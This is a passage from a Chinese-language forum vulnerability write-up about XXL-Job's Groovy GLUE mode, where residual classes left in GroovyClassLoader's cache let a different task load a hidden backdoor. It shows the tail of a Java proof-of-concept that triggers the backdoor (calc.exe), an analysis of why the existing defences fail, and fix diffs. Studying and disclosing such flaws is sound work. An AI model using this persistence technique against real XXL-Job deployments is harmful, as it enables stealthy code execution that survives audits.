handlerPhase2.execute(); // ========== 阶段三: 触发 ========== System.out.println("\n\n>>> PHASE 3: TRIGGER (different task loads residual class)"); System.out.println(" Task-B executes and calls loadClass('TaskA$Backdoor')"); GlueJobHandler handlerPhase3 = (GlueJobHandler) simulateExecutorRun( "job-B", PHASE3_GLUE_SOURCE_TRIGGER, 3000L, null); dumpState("After Phase-3 (TaskB compiled)"); System.out.println("\n [Executing Phase-3 handler.execute() -> triggers Backdoor]"); handlerPhase3.execute(); dumpState("FINAL STATE"); // ========== 总结 ========== System.out.println("\n\n================================================================"); System.out.println(" V-13 RIGOROUS VERIFICATION RESULT"); System.out.println("================================================================"); System.out.println(" Test Result"); System.out.println(" ────────────────────────────────────────────────────────"); System.out.println(" [T1] Real GlueFactory.loadNewInstance() used? YES (not simulated)"); System.out.println(" [T2] Multi-class -> all in GCL.classCache? " + (p1_hasBD ? "PASS" : "FAIL")); System.out.println(" [T3] Source change -> aux class persists? " + (p2_bdRemains ? "PASS" : "FAIL")); System.out.println(" [T4] Residual same obj (InnerLoader preserved)? " + (p2_sameObject ? "PASS" : "PARTIAL")); System.out.println(" [T5] Cross-task loadClass accessed residual? see above output"); System.out.println(" [T6] Backdoor.trigger() executed (calc.exe)? see above output"); System.out.println(" ────────────────────────────────────────────────────────"); boolean pass = p1_hasBD && p2_bdRemains; System.out.println(pass ? " *** V-13 CONFIRMED under REAL XXl-Job GlueFactory context ***" : " --- V-13 NOT confirmed ---"); System.out.println("================================================================"); } } ``` ### 5.4 防御机制排除分析 | 潜在防御 | 能否阻断 V-13 | 原因 | |---|---|---| | `refreshInstance()` 清除 GCL | 否 | 仅启动时调用一次,运行期间永不调用 | | SecurityManager 阻止 loadClass | 否 | 这个点走 classCache 命中路径(L659 return),在 SM 检查点(L679)之前返回 | | SecureASTCustomizer 沙箱 | 否 | XXL-Job 全局零匹配 `SecureASTCustomizer`,完全未启用 Groovy 编译安全限制 | | 同名类覆盖冲突 | 需注意 | 我们使用唯一类名即可避免 | | GC 回收残留类 | 否 | 全路径强引用链从 GC Root 到残留类,无断点 | | 并发竞争破坏 | 否 | ConcurrentHashMap 保证原子性和可见性 | | InnerLoader GC 导致 Class 失效 | 否 | 引用链闭环(GCL→classCache→Class→IL1→GCL)保障永久存活 | | sourceCache shouldCache 影响 | 否 | 反而是 这个漏洞成立的有利前提(每次都走 doParseClass) | **全局搜索确认**:XXL-Job 全部源码中 `clearCache()` / `removeClassCacheEntry()` / `GroovyShell` 调用次数 = 0。没有任何代码路径能够清除 GCL.classCache 中的残留条目。 - - - - - - 六、修复建议 ------ ### 6.1 临时缓解措施 1. **禁用 GLUE\_GROOVY 模式**:如果业务不需要动态脚本能力,在 Executor 配置中将 `xxl.job.glueinfo.enabled` 设为 false(需确认是否有此配置项,否则通过代码审查确保无 GLUE 任务注册) 2. **白名单 IP 限制**:限制 Admin 的访问来源 IP,减少攻击面 3. **定期重启 Executor**:强制清除 classCache 中的残留类(治标不治本) ### 6.2 修复建议 **推荐方案:在 `getCodeSourceClass()` 中对非主类执行清除操作** 修改 [GlueFactory.java:70-84](https://forum.butian.net/ai_security/xxl-job-core/src/main/java/com/xxl/job/core/glue/GlueFactory.java): ```diff private Class<?> getCodeSourceClass(String codeSource){ byte[] md5 = MessageDigest.getInstance("MD5").digest(codeSource.getBytes()); String md5Str = new BigInteger(1, md5).toString(16); Class<?> clazz = CLASS_CACHE.get(md5Str); if(clazz == null){ clazz = groovyClassLoader.parseClass(codeSource); CLASS_CACHE.putIfAbsent(md5Str, clazz); + + // 清除上一版源码中可能遗留的非主类条目 + // 获取本次编译产生的所有类名集合 + String[] currentClassNames = collectCompiledClassNames(codeSource); + // 遍历 classCache,移除不属于当前版本的残留类 + clearStaleClassEntries(currentClassNames); } return clazz; } ``` 或者更简单的方案——**每次 `parseClass()` 前先 `clearCache()`**: ```diff private Class<?> getCodeSourceClass(String codeSource){ byte[] md5 = MessageDigest.getInstance("MD5").digest(codeSource.getBytes()); String md5Str = new BigInteger(1, md5).toString(16); Class<?> clazz = CLASS_CACHE.get(md5Str); if(clazz == null){ + groovyClassLoader.clearCache(); // 清空 classCache clazz = groovyClassLoader.parseClass(codeSource); CLASS_CACHE.putIfAbsent(md5Str, clazz); } return clazz; } ``` - - - - - - 七、总结 ---- 发现的这个漏洞点不是一个新的代码执行入口,也不是 GLUE 模式的设计缺陷滥用。它是一个 **隐藏在 XXL-Job 与 Groovy 编译器交互边界处的架构级副作用利用**。 这个漏洞的价值在于它的 **隐蔽性维度**:攻击者在完成植入后可以将源码恢复为"完全正常"的状态,使得事后审计(无论是人工还是自动化)只能看到合法的业务代码。而后门以纯 Java Class 对象的形式驻留在 JVM 深处,等待着来自任何其他任务的 `Class.forName()` 调用。
发表于 2026-05-12 09:00:01
阅读 ( 10711 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
小何同学
1 篇文章
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
温馨提示
您当前没有「奇安信攻防社区」的账号,注册后可获取更多的使用权限。
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!